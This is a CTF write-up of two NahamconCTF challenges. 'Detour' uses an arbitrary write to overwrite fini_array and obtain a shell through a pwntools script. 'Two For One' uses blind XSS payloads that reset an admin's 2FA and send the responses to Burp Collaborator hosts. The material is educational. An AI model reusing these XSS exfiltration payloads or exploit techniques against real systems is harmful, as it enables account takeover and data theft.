Participated NahamconCTF yesterday, but did not play much, here are some of my writeups
Challenges
Detour
Attachment
We got a ELF file:
detour: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=af4c8eacd5103d70965126396d4348dabfe23896, for GNU/Linux 3.2.0, not stripped
Try to run it, we can enter what and where then exit:
./detour
What: 1
Where: 1
Run checksec
on it, looks like we have static function address (no PIE)
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Open it on Ghidra, and see what the main function is doing:
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_20;
long local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("What: ");
__isoc99_scanf(&DAT_00402013,&local_20);
getchar();
printf("Where: ");
__isoc99_scanf(&DAT_0040201f,&local_18);
getchar();
*(undefined8 *)((long)&base + local_18) = local_20;
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Looks like we can write any content on any address from base!
Also found a win
function at 0x401209, which executes shell
void win(void)
{
system("/bin/sh");
return;
}
It is obvious we need to execute the win
function by using write address functionality
We can write any of the GOT address, but it won’t execute after it wrote the address
Solving
We can write the fini_array
content to win
address! Because it will call the fini_array
after main
function ends
Can check the address of fini_array
is 0x4031c8 on program tree, or run objdump -h ./detour
19 .init_array 00000010 00000000004031b8 00000000004031b8 000021b8 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .fini_array 00000008 00000000004031c8 00000000004031c8 000021c8 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .dynamic 000001d0 00000000004031d0 00000000004031d0 000021d0 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .got 00000010 00000000004033a0 00000000004033a0 000023a0 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .got.plt 00000048 00000000004033b0 00000000004033b0 000023b0 2**3
CONTENTS, ALLOC, LOAD, DATA
24 .data 00000010 00000000004033f8 00000000004033f8 000023f8 2**3
CONTENTS, ALLOC, LOAD, DATA
25 .bss 00000028 0000000000403410 0000000000403410 00002408 2**4
ALLOC
26 .comment 0000002b 0000000000000000 0000000000000000 00002408 2**0
CONTENTS, READONLY
from pwn import *
fini = 0x4031c8
base = 0x403430
win = 0x401209
elf = ELF("./detour")
# p = elf.process()
p = remote("challenge.nahamcon.com", 32364)
p.sendlineafter("What: ",str(win))
p.sendlineafter("Where: ",str(fini-base))
p.interactive()
Result:
[*] Switching to interactive mode
$ ls
bin
detour
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{787325292ef650fa69541722bb57bed9}
$
[*] Closed connection to challenge.nahamcon.com port 32640
Flag
flag{787325292ef650fa69541722bb57bed9}
Two For One
It’s a website, we ask to sign up to login
After signup, we need to download Google Authenticator to use the OTP:
After login, we can create, edit or remove secret
In the settings page, we can change password, reset 2FA or submit feedback
It is obvious we need to bypass the admin’s OTP to read the admin’s secret
After creating a secret, we can see the id is 3, so the flag is id 1 or 2
Attempt 1
At first I taught it got broken authentication bug, so we can bypass the admin’s OTP
But after some testing, did not find any bug that can bypass the OTP
Attempt 2
I didn’t solve this during the CTF, look though the writeup by Weak But Leet
Now I realized I missed the blind XSS bug on the feedback form!
Using the Burp Collaborator we can confirm the XSS bug:
<script>
document.location="http://eq8wvk56ejt3yydicefknthi99fz3o.burpcollaborator.net";
</script>
Yeah! Looks like we can execute XSS!
Now we can bypass the OTP by reset the admin’s OTP then can get the admin’s secret!
Reset OTP
First we need to construct payload for sending POST request to /reset2fa
then get the response text
Can use XHR to send the request and send the response text to our burp collaborator (or can use https://webhook.site/)
XSS Payload:
<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.location="http://6lsoqc0y9bovtq8a76acilca41asyh.burpcollaborator.net?otp="+this.responseText;
}
xhttp.open("POST", "http://challenge.nahamcon.com:32330/reset2fa");
xhttp.send();
</script>
Then wait for the response:
Yes! We got the OTP URL for admin! Then generate the QR code using qrencode 'otpauth://totp/Fort Knox:admin?secret=UJ6DMGID6T5NNWUZ&issuer=Fort Knox' -o
qr.png
Then use the Google Authenticator to scan the QR code
Get Flag
We need to send a POST request to /show_secret
using the admin’s OTP and id=1 as parameter to get the first secret
Payload:
<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.location="http://wvve02aoj1yl3gi0hwk2sbm0erkj88.burpcollaborator.net?flag="+this.responseText;
}
var json = {"otp":"209405","secretId":"1"};
xhttp.open("POST", "http://challenge.nahamcon.com:32330/show_secret");
xhttp.setRequestHeader('Content-Type', 'application/json');
xhttp.send(JSON.stringify(json));
</script>
Then saw the flag in the response!!
Flag
flag{96710ea6be916326f96de003c1cc97cb}